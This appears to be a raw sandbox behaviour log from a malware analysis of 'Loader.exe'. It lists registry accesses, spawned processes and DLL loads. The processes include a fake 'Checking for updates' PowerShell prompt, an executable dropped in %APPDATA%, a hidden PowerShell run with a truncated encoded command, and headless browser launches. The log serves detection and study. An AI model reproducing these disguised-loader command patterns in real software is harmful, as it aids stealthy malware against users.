(Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "Loader.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "Loader.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")36:T594,"Loader.exe" called "CreateProcessW" with parameter "powershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('Checking for updates..." - (UID: 00000000-00007632) "Loader.exe" called "CreateProcessW" with parameter "%APPDATA%\806964ff31e2acc80.exe" - (UID: 00000000-00007632) "806964ff31e2acc80.exe" called "CreateProcessW" with parameter ""powershell.exe" -Command "Start-Process powershell -WindowStyle Hidden -ArgumentList '-EncodedCommand dwBoAGkAbABlACAAKAAkAHQAcgB" - (UID: 00000000-00008272), "806964ff31e2acc80.exe" called "CreateProcessW" with parameter ""powershell" -Command "Get-Process | Select-Object Name"" - (UID: 00000000-00008272), "806964ff31e2acc80.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu" - (UID: 00000000-00008272), "806964ff31e2acc80.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Google\Chrome\Application\chrome.exe" --headless --disable-gpu" - (UID: 00000000-00008272), "806964ff31e2acc80.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Mozilla Firefox\firefox.exe" --headless --disable-gpu" - (UID: 00000000-00008272), "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAIAAkAGMAbABpAH" - (UID: 00000000-00004092)37:Tc71f,"Loader.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007632) "Loader.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007632) "Loader.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007632) "Loader.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007632) "Loader.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00007632) "Loader.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007632) "Loader.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00007632) "Loader.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007632) "Loader.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00007632) "Loader.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00007632) "Loader.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007632) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\468fa5ae84991aaf4d90ecee8788f024\Microsoft.PowerShell.Commands (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\3c82a5286b5172d5a68c8df2e09c4c40\System.Drawing.ni.dll (UID: 00000000-00007308) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\bee998043eb1e9badecd282a79540a5e\System.Windows.Forms.ni.dll (UID: 00000000-00007308) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter msasn1.dll (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter certca.dll (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter dmime.dll (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter lz32.dll (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter mssip32.dll (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter newdev.dll (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter fltlib.dll (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter mswsock.dll (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter mshtmled.dll (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter mmdevapi.dll (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter mfplat.dll (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-2 (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00008272) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\9494eda0c9af503cb61fe450b5ba9c1a\Microsoft.PowerShell.Commands (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008248) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00008248) 